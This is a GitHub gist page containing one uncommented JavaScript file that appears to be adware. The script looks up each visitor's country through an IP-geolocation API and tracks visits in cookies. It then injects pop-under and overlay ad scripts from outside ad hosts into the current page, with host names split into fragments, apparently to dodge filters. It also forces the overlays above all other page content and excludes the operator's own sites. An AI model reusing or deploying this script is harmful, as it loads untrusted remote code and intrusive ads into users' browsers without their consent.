Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save alph4delta/8a28371b87688d95bdf2f940bd4d3e54 to your computer and use it in GitHub Desktop.
Save alph4delta/8a28371b87688d95bdf2f940bd4d3e54 to your computer and use it in GitHub Desktop.
Gist of var cb_r = Math.floor(Math.random()*99999999999);
var cb_r = Math.floor(Math.random()*99999999999);
function addScript(url)
{
var s = document.createElement('script');
s.type = 'text/javascript';
s.async = true;
s.src = url;
var x = document.getElementsByTagName('head')[0];
x.appendChild(s);
}
function setCookie(cname,cvalue,exdays)
{
var d = new Date();
d.setTime(d.getTime() + (exdays*24*60*60*1000));
var expires = "expires=" + d.toGMTString();
document.cookie = cname+"="+cvalue+"; "+expires+"; path=/";
}
function getCookie(cname)
{
var name = cname + "=";
var ca = document.cookie.split(';');
for(var i=0; i<ca.length; i++)
{
var c = ca[i];
while (c.charAt(0)==' ')
{
c = c.substring(1);
}
if (c.indexOf(name) == 0)
{
return c.substring(name.length, c.length);
}
}
return "";
}
function extractDomain(url)
{
var domain;
if (url.indexOf("://") > -1)
{
domain = url.split('/')[2];
}
else
{
domain = url.split('/')[0];
}
domain = domain.split(':')[0];
return domain;
}
function extractDomain2(url)
{
var domain;
if (url.indexOf("://") > -1)
{
domain = url.split('/')[2];
}
else
{
domain = url.split('/')[0];
}
domain = domain.split(':')[0];
domain = domain.replace('www.','');
return domain;
}
function modifyString(string,length)
{
if(string.length > length)
{
var dummyStr = string.substring(0,length)+"...";
return dummyStr.replace(/ /g, "%20");
}
else
{
return string.replace(/ /g, "%20");
}
}
function loadAds()
{
$ = jQuery.noConflict(true);
if (window.location.protocol !== 'https:')
{
apiUrl = "http://ip-api.com/json/";
}
else
{
apiUrl = "https://freegeoip.net/json/";
}
$.ajax
({
type:"POST",
crossDomain: true,
url: apiUrl,
dataType: "jsonp",
success: function(ajaxresult)
{
runAllAds(ajaxresult);
},
error: function (XMLHttpRequest, textStatus, errorThrown)
{
runAllAds("error_comes");
}
});
}
function runAllAds(ajaxresult)
{
var videoWebsites = ["12seconds.tv","www.4shared.com","www.56.com","www.5min.com","6.cn","www.aajkatv.com","www.activistvideo.org","www.aeeboo.com","www.aniboom.com","www.apnatube.com","www.arabtube.tv","www.atom.com","autsch.de","www.babelgum.com","www.bgvip.tv","www.bigcontact.com","www.bigthink.com","blip.tv","www.blogcheese.com","www.blogtv.com","www.bofunk.com","www.break.com","broadbandsports.com","www.broadcaster.com","www.bubblare.se","businessworld.de","www.buzznet.com","www.caught-on-video.com","citytube.de","clesh.com","www.clevver.com","www.clipfish.de","www.cliphost24.com","www.clipjunkie.com","www.clipmoon.com","clip.vn","www.clonevideos.com","cnettv.cnet.com","www.collegehumor.com","constantcomedy.com","www.cooxt.de","www.cozmo.tv","www.crackle.com","www.crovideos.com","www.crunchyroll.com","www.current.com","www.cuts.com","www.danerd.com","us.dada.net","www.dailycomedy.com","www.dailyhaha.com","www.dailymotion.com","www.dalealplay.com","www.deaf-video.org","www.dekhona.com","www.deutschlandreporter.de","www.disclose.tv","www.dogster.com","www.dotcomedy.com","www.dovetail.tv","www.dropshots.com","www.thedrunkest.com","www.duclip.com","www.dumpalink.com","www.dumpthe.net","www.esnips.com","www.ebaumsworld.com","www.encyclomedia.com","www.engagemedia.org","www.entertane.com","www.ramp.com","www.evisor.tv/tv","www.expotv.com","www.ezprezzo.com","www.eyespot.com","fr.eyeka.com","eyevio.jp","www.famster.com","www.fark.com","www.filecow.com","www.filmupload.de","www.fireant.tv","fixx.tvspielfilm.de","www.flicklife.com","www.flickr.com","www.flightlevel350.com","www.flipclip.net","www.fliqz.com","www.flukiest.com","www.flurl.com","www.freevlog.org","www.funnyhub.com","www.funnyjunk.com","www.funnyordie.com","www.funnyplace.org","www.funnyreign.com","www.gametrailers.com","www.getmiro.com","www.gettyload.de","www.glumbert.com","www.godtube.com","www.gorillamask.net","www.graspr.com","www.grindtv.com","www.guzer.com","www.hamburg1video.de","hausgemacht.tv","www.Heavy.com","www.helpfulvideo.com","www.hictu.com","www.holylemon.com","www.hook.tv","www.hotshare.net","www.howcast.com","www.hulu.com","www.hungryflix.com","www.i-am-bored.com","icyou.com","ikbis.com","www.ikiwi.at","www.imeem.com","www.indiavideo.org","www.archive.org/details/movies","www.islamictube.net","jaycut.com","www.jokeroo.com","www.joost.com","www.jujunation.com","www.jumpcut.com","www.justvideo.ca","www.justin.tv","www.kaneva.com","www.kewego.com","www.kidzbop.com","www.koldcast.tv","www.ku6.com","www.kyte.tv","www.learn2use.de","video.libero.it","www.liveleak.com","www.livevideo.com","livingzurich.tv","www.lost-on-stage.de","www.luegmol.ch","lustich.de","www.magnify.net","www.maniatv.com","www.mantoutv.com","www.matrixmovies.net","www.mediabum.com","www.metacafe.com","www.miloop.se","www.mindbites.com","www.mob.com","www.mogulus.com","mojiti.com","www.mojoflix.com","www.monkeysee.com","www.motionbox.com","www.motorsportstube.com","multiply.com","tv.muslimvideo.com","www.mytopclip.com","www.myvideo.co.za","www.mypraize.com","vids.myspace.com","www.myspass.de","www.mytoons.com","www.myvideo.de","www.needforfun.com","www.nelsok.com","www.ning.com","www.onfuego.com","www.onetruemedia.com","tv.oneworld.net","www.oovoo.com","www.openfilm.com","www.ourmedia.org","share.ovi.com","www.pandora.tv","www.pawky.com","www.petnet.de","photobucket.com","www.pokertube.com","www.purevideo.com","www.qubetv.tv","vision.rambler.ru","is.rediff.com","www.rheinvideo.de","www.rofl.to","www.rooftopcomedy.com","rutube.ru","www.scivee.tv","sclipo.com","www.selfcasttv.com","www.sevenload.com","www.shoutfile.com","www.showmehowtoplay.com","www.showmedo.com","www.shredordie.com","smotri.com","www.snotr.com","www.spike.com","www.spotn.de","stage6.divx.com","www.streetfire.net","www.stupidvideos.com","www.sumo.tv","www.tagworld.com","www.talentrun.de","www.teachertube.com","www.thebig.tv","www.thexvid.com","www.tinypic.com","www.treemo.com","www.trooptube.tv","www.truveo.com","www.tu.tv","www.tubetorial.com","www.tudou.com","www.tuneyfish.com","www.tv1.at","www.tvbvideo.de","www.u2upfly.com","www.uprom.tv","www.ustream.tv","uume.com","uvu.channel2.org","www.vlogmap.org","vbox7.com","www.veoh.com","www.viddler.com","www.viddyou.com","www.videobomb.com","www.videoclick.com","www.videodumper.com","videojug.com","www.video-klipp.se","video-tabs.com","www.videovat.com","www.videowebtown.com","www.daqi.com","video.eksenim.mynet.com","video.qq.com","video.vol.at","video.web.de","video.youteach.de","videoontherocks.indya.com","videos.streetfire.net","www.vidiac.com","www.vidilife.com","www.vidipedia.org","www.vidivodo.com","www.vidmax.com","www.vidoosh.tv","vimeo.com","vision.ameba.jp","www.vmix.com","vodpod.com","www.voomed.com","www.vuze.com","www.wat.tv","www.wegame.com","www.webcastr.com","www.webshots.com","www.wideo.fr","www.wildscreen.tv","www.wonderhowto.com","www.wtfhumor.com","video.yahoo.com","www.yideoz.com","www.yikers.com","www.youare.tv","v.sina.com.cn","www.you3b.com","www.youku.com","youmaker.com","www.yourdailymedia.com","www.yourfilehost.com","youtomb.mit.edu","www.youtube.com","www.zapiks.com","zeec.de","www.zeec.net","www.zooppa.com"];
var videoWebsite = 0;
if($.inArray(extractDomain(document.URL), videoWebsites) > -1)
{
videoWebsite = 1;
videoTitle = modifyString(document.title,20);
}
if (window.location.protocol !== 'https:')
{
visitorCountryCode = ajaxresult.countryCode;
}
else
{
visitorCountryCode = ajaxresult.country_code;
}
var allowedCountries = "";
var disAllowedCountries = "";
var disAllowedWebsites = "publishers.adsverge.com,adsverge.com,tabbycalculator.com,googledashboard.qaplo.com,pathfinder.qaplo.com,fastsearch.qaplo.com,qaplo.com,";
var allowed = 1;
if(ajaxresult != "error_comes")
{
if((allowedCountries != "" && allowedCountries.indexOf(visitorCountryCode) > -1) || (disAllowedCountries != "" && disAllowedCountries.indexOf(visitorCountryCode) == -1))
{
allowed = 1;
}
else
{
allowed = 0;
}
}
if(allowedCountries=="" && disAllowedCountries=="")
{
allowed = 1;
}
if(disAllowedWebsites.indexOf(extractDomain2(document.URL)) > -1)
{
allowed = 0;
}
if(disAllowedWebsites == "")
{
allowed = 1;
}
if(allowed == 1)
{
var popAdNum = getCookie("av_pop_ads");
if(popAdNum == "" || popAdNum >= 3)
{
popAdNum = 1;
}
else
{
popAdNum++;
}
setCookie("av_pop_ads",popAdNum,1);
if (popAdNum===1)
{
addScript('https://cdncache-a'+'.akamaihd.net/sub/iaea1a5/av1990/l.js?pid=2462');
}
else if(popAdNum===2)
{
addScript('https://cdncache-a'+'.akamaihd.net/sub/iaea1a5/av1990/l.js?pid=2462');
}
else if(popAdNum===3)
{
addScript('https://www.liveadexchanger.com/a/display.php?r=1296929');
}
addScript('https://cdncache-a'+'.akamaihd.net/sub/iaea1a5/av1990/l.js?pid=2461');
if(videoWebsite == 1)
{
if ("https:" == document.location.protocol) {
var x = Math.floor(Math.random() * 3) + 1;
if (x===3 || x===2){
addScript("https://serve.adsvmedia.com/serve/overlay.js");
}
} else {
addScript("https://www.secure"+"boom.net/fc.php?script=tags:fullpage&cb="+cb_r+"&s1=av1990&s2=Overlay&zone=15336&fptype=fp&fpxpos=bottomleft&fptimer=8&q="+videoTitle);
}
}
else
{
var overlayAdNum = getCookie("av_overlay_ads");
if(overlayAdNum == "" || overlayAdNum >= 2)
{
overlayAdNum = 1;
}
else
{
overlayAdNum++;
}
setCookie("av_overlay_ads",overlayAdNum,1);
if (overlayAdNum===1)
{
if ("https:" == document.location.protocol) {
var x = Math.floor(Math.random() * 3) + 1;
if (x===3 || x===2){
addScript("https://serve.adsvmedia.com/serve/overlay.js");
}
}
else {
addScript('https://www.secure'+'boom.net/fc.php?script=tags:fullpage&cb='+cb_r+'&s1=av1990&s2=Overlay&zone=15587&fptype=fp&fpxpos=bottomleft&fptimer=8');
}
}
else if(overlayAdNum===2)
{
if ("https:" == document.location.protocol) {
var x = Math.floor(Math.random() * 3) + 1;
if (x===3 || x===2){
addScript("https://serve.adsvmedia.com/serve/overlay.js");
}
}
else {
addScript('https://www.secure'+'boom.net/fc.php?script=tags:fullpage&cb='+cb_r+'&s1=av1990&s2=Overlay&zone=15587&fptype=fp&fpxpos=bottomleft&fptimer=8');
}
}
}
function zdex() {
$('[id^=MAXOL_]').css('z-index', '2147483647');
}
var set = setInterval(zdex,500);
setTimeout(function(){
clearInterval(set);
},6000);
}
}
function runAdsScript()
{
if(typeof jQuery == 'undefined')
{
var $;
var jq = document.createElement('script');
jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js";
document.querySelector('head').appendChild(jq);
jq.onload = loadAds;
}
else
{
loadAds();
}
}
runAdsScript();
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-79493270-1']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = 'https://ssl.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment